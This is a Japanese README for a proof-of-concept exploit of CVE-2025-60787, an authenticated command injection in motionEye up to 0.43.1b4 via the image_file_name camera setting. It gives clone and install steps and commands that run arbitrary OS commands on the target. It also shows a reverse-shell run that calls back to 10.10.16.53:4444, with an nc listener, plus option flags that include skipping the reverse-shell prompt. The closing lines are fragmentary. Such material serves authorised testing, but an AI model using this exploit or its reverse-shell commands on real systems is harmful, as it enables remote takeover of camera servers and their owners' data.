
CVE-2025-60787 motionEye 認証済みコマンドインジェクション RCE PoC
CVE-2025-60787 の認証済みコマンドインジェクション PoC です。motionEye v0.43.1b4 以前は、image_file_name などのユーザー制御のカメラ設定値を十分なサニタイズなしに Motion 設定に書き込むため、値が処理されるとコマンド実行が可能になります。
承認されたテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
/config/list/ を通じてカメラ設定を読み取ります。image_file_name 設定にコマンドを注入します。/action/<camera_id>/snapshot/ をトリガーして、motionEye が注入されたファイル名を処理するようにします。


git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
まずリスナーを起動します:
rlwrap nc -lvnp 4444
次に実行:
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
便利なオプション:
--camera-id N Camera ID to modify (default: 1)
--restore Restore the original camera configuration after triggering
--dry-run Build signed requests without modifying the target
--debug Print canonical signed paths, bodies and signatures
--no-trigger Update config without triggering a snapshot
--verify-tls Verify HTTPS certificates
--yes Skip reverse-shell confirmation prompt
| 製品 | 影響を受けるバージョン | 必要なアクセス権 | 影響 |
|---|---|---|---|
| motionEye | <= 0.43.1b4 | 認証済み管理者/APIアクセス | motionEye/MotionプロセスユーザーとしてのOSコマンド実行 |
結果の権限は、motionEye の展開方法によって異なります。サービスをrootとして実行しているコンテナやラボイメージでは、コマンド実行がrootになる可能性があります。
image_file_name です。--restore を使用して、悪用後に元のカメラ設定を戻してください。--cmd を使用することを推奨します。ozcanpng — github.com/ozcanpng — ozcanpng.dev